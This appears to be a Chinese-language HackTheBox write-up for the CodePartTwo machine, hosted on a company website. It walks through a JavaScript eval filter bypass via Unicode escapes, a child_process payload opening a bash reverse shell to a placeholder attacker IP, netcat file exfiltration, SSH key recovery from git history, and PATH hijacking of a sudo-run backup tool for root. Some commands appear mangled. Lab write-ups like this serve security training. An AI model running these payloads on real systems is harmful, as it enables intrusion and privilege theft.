尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
JavaScript逃逸与备份文件提权实战
1. 靶机渗透实战概述最近在HackTheBox平台上挑战了CodePartTwo靶机这是一台涉及JavaScript逃逸和备份文件提权的Linux系统。整个过程充满了技术细节和思维突破点特别适合想要提升Web渗透和权限提升技能的安全爱好者。这台靶机的设计巧妙之处在于它需要渗透者综合运用前端代码审计、服务枚举、备份文件分析等多种技术手段。靶机IP为10.10.11.15我首先通过Nmap扫描发现开放了22(SSH)和80(HTTP)端口。Web服务运行着一个JavaScript应用这成为整个渗透过程的第一个突破口。与常规CTF不同这台靶机需要深入理解JavaScript的运行机制才能找到逃逸方法而最后的提权阶段则考验对Linux系统备份机制的了解程度。2. 初始信息收集与漏洞发现2.1 端口扫描与服务识别使用Nmap进行全端口扫描是每次渗透测试的标准起点。针对这台靶机我采用了以下扫描策略nmap -sV -sC -p- 10.10.11.15 -oA code_part_two扫描结果显示两个开放端口22/tcp - OpenSSH 8.2p1 Ubuntu80/tcp - Apache httpd 2.4.41Web服务的响应头显示运行的是Ubuntu系统Apache版本较新直接利用的可能性较低。于是我将重点放在Web应用的功能分析上。2.2 Web应用功能分析访问http://10.10.11.15呈现一个JavaScript编写的计算器应用。查看页面源代码发现几个关键点所有计算逻辑都在前端JavaScript中处理使用了eval()函数执行用户输入存在严格的输入过滤机制核心计算函数如下function calculate() { let expression document.getElementById(expression).value; if(/[a-zA-Z$_]/.test(expression)) { alert(Invalid characters detected!); return; } try { let result eval(expression); document.getElementById(result).innerText result; } catch(e) { alert(Error in evaluation!); } }这个函数有几个关键安全限制过滤了所有字母字符、$和_使用try-catch包裹eval执行结果直接输出到页面3. JavaScript逃逸技术突破3.1 绕过字符过滤的多种尝试初始尝试直接注入JavaScript代码失败因为所有字母字符都被过滤。经过多次测试发现以下几种绕过方法Unicode编码绕过 使用\uXXXX形式的Unicode编码可以表示字母字符而不触发过滤。例如alert(1) → \u0061\u006c\u0065\u0072\u0074(1)数字属性访问 JavaScript中对象的数字属性可以通过方括号访问如window[alert](1) 可转换为 window[1[toString][constructor](return alert)()](1)模板字符串利用 反引号字符串可以配合${}执行表达式${alert(1)}经过实际测试最终采用Unicode编码结合数字属性访问的方式成功执行任意代码。3.2 构造有效载荷获取反向Shell为了获得系统访问权限需要构造一个反向Shell载荷。由于字符限制这个过程需要精心设计首先获取require函数processthis[\u0070\u0072\u006f\u0063\u0065\u0073\u0073]然后调用child_process执行命令process[\u006d\u0061\u0069\u006e\u004d\u006f\u0064\u0075\u006c\u0065][\u0072\u0065\u0071\u0075\u0069\u0072\u0065](\u0063\u0068\u0069\u006c\u0064\u005f\u0070\u0072\u006f\u0063\u0065\u0073\u0073)[\u0065\u0078\u0065\u0063](bash -c bash -i /dev/tcp/YOUR_IP/4444 01)实际操作时需要将YOUR_IP替换为攻击机IP并在本地监听对应端口nc -lnvp 44444. 权限提升备份文件分析4.1 初始立足点与枚举获取反向Shell后我们位于www-data用户权限下。常规的系统枚举发现几个有趣的点/home目录下存在用户coder/var/backups目录有可疑的压缩包sudo -l显示www-data可以以coder身份执行特定命令检查/var/backups发现一个名为app_backup.tar.gz的文件修改时间较新。将其下载到本地分析# 在靶机上 cp /var/backups/app_backup.tar.gz /tmp chmod 777 /tmp/app_backup.tar.gz # 在攻击机上 nc -w 3 YOUR_IP 5555 app_backup.tar.gz4.2 备份文件深入分析解压备份文件后发现是Web应用的源代码备份其中包含几个关键文件config.json - 包含数据库凭证server.js - 后端服务代码.git目录 - 包含版本控制历史分析git历史发现有趣的提交git log --patch显示有一次提交移除了敏感文件但依然可以在历史中找到git checkout HEAD~1 -- deleted_file.txt恢复的文件中包含SSH私钥片段结合其他信息可以拼凑出完整密钥。4.3 利用备份文件提权通过分析备份文件我们获得了以下关键信息数据库凭证可以用于查询用户表Git历史中的SSH密钥片段可以组合成完整密钥配置文件泄露了系统路径信息最终通过以下步骤获取coder用户权限组合SSH密钥片段为完整密钥修改权限为600使用密钥登录ssh -i recovered_key coder10.10.11.155. 从用户到root的最后一跃5.1 sudo权限分析登录coder用户后检查sudo权限sudo -l显示coder可以以root身份执行/usr/bin/backup_util命令。查看该命令file /usr/bin/backup_util这是一个ELF可执行文件运行时会创建系统备份。5.2 备份工具漏洞利用逆向分析backup_util发现它存在以下问题使用相对路径调用tar命令没有验证用户提供的参数以root权限运行通过PATH环境变量劫持可以实现任意命令执行echo bash -p /tmp/tar chmod x /tmp/tar export PATH/tmp:$PATH sudo /usr/bin/backup_util这样在执行backup_util时会优先使用我们恶意的tar脚本从而获得root shell。6. 渗透过程中的关键经验6.1 JavaScript逃逸的注意事项现代浏览器对eval的使用有严格限制但在Node.js环境下仍然危险Unicode编码绕过时要注意字符集兼容性问题载荷构造要尽量简洁避免触发其他安全机制6.2 备份文件分析技巧总是检查/var/backups、/backup等目录注意文件修改时间新近修改的备份更有价值Git历史可能包含已删除的敏感信息配置文件中的硬编码凭证仍然常见6.3 权限提升的常见路径检查sudo -l输出的特殊权限查找SUID/GUID可执行文件分析cron作业和系统服务检查内核版本是否可提权这台靶机展示了从Web应用到系统权限的完整攻击链其中JavaScript逃逸和备份文件分析是两个关键技术点。在实际渗透测试中这种多层次的漏洞组合非常常见需要测试人员具备全面的技能和耐心。
RELATED

相关推荐

Lumia老设备复活:WPinternals解锁Bootloader与刷机恢复

Lumia老设备复活:WPinternals解锁Bootloader与刷机恢复

1. 为什么还有人折腾Lumia:硬件底子、系统现状与真实用途抽屉里翻出一台还能开机的Lumia,这件事本身就挺有意思。它当年是Windows Phone阵营里做工和影像都不含糊的一批机器,金属中框、光学防抖、纯景拍照,放到今天拿在手里&#…

📅 2026/11/4 17:07:28
Spark Job执行流程与调度机制深度解析

Spark Job执行流程与调度机制深度解析

1. Spark Job 执行流程全景透视 当我们在Spark应用中调用一个Action算子时,背后会触发一系列复杂的调度与执行过程。这个看似简单的操作实际上经历了DAG构建、Stage划分、Task调度等多个关键阶段。理解这个完整流程对于性能调优和故障排查至关重要。 以最常见的col…

📅 2026/11/4 17:07:28
水电表数据智能处理与能耗分析系统实践

水电表数据智能处理与能耗分析系统实践

1. 项目背景与核心价值水电表数据管理一直是物业、园区和大型企事业单位后勤管理的痛点。传统手工抄表方式不仅效率低下,还容易出错。即使采用了自动化抄表系统,如何高效处理累计值数据、实现灵活查询分析仍是行业难题。这个项目要解决的正是这个痛点——…

📅 2026/11/4 17:07:28
MORE NEWS

更多资讯

📰

MSMQ与Spring Boot缓存预热提升电商系统性能

1. 项目概述:消息队列与缓存预热的工程实践在分布式系统架构中,消息队列和缓存机制是解决性能瓶颈的经典组合拳。最近我在一个电商促销系统项目中,就遇到了高并发下单导致的数据库压力问题。通过采用MSMQ实现异步消息处理,并结合S…

📰

WSL环境下配置CUDA支持的PyTorch开发环境指南

1. 环境准备与验证 在Windows Subsystem for Linux (WSL)环境下配置CUDA支持的PyTorch开发环境,需要特别注意系统组件的版本兼容性。以下是完整的配置流程和验证方法: 1.1 系统环境检查 首先需要确认基础环境是否符合要求。打开WSL终端执行以下命令&am…

📰

多Agent协作实战:从Codex内部机制到A2A协议与故障排查

1. 多 Agent 协作到底在解决什么问题?先把话说在前面:把几个聊天窗口同时打开,互相贴来贴去,这不叫多 Agent 协作。真正的多智能体协作,是把一个大目标拆成若干可以独立规划、独立调用工具、独立验收的子任务&#xff…

📰

AgentScope 2.0:企业级多智能体框架的工程化实践与选型指南

我很少用“牛逼”这个词来推荐技术框架,但AgentScope确实让我破例了。过去几年我在AI中台做多智能体应用,框架从LangChain到AutoGen再到CrewAI换了一圈,最后稳定下来的是AgentScope。它解决的不是“怎么调大模型API”这种入门问题&#xff0c…

📰

Wyn商业智能与3D可视化技术融合实践

1. 项目概述:当商业智能遇上3D可视化去年为某连锁零售集团做数据中台升级时,我第一次将Wyn商业智能平台与3D可视化技术结合。市场部总监看着大屏上旋转着的立体门店模型,实时销售数据像霓虹灯般在建筑表面流动,当场就拍板追加了预…

📰

Microsoft Barcode Control 9.0 安装注册与兼容性实战指南

简介:本资源是基于 Microsoft Barcode Control 9.0 的条形码生成与打印完整开发示例,面向 .NET Framework 2.0 及以上版本的 Windows Forms 开发者,尤其适合需快速集成条形码功能的库存管理、物流追踪等业务系统项目。压缩包共30个文件&#…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬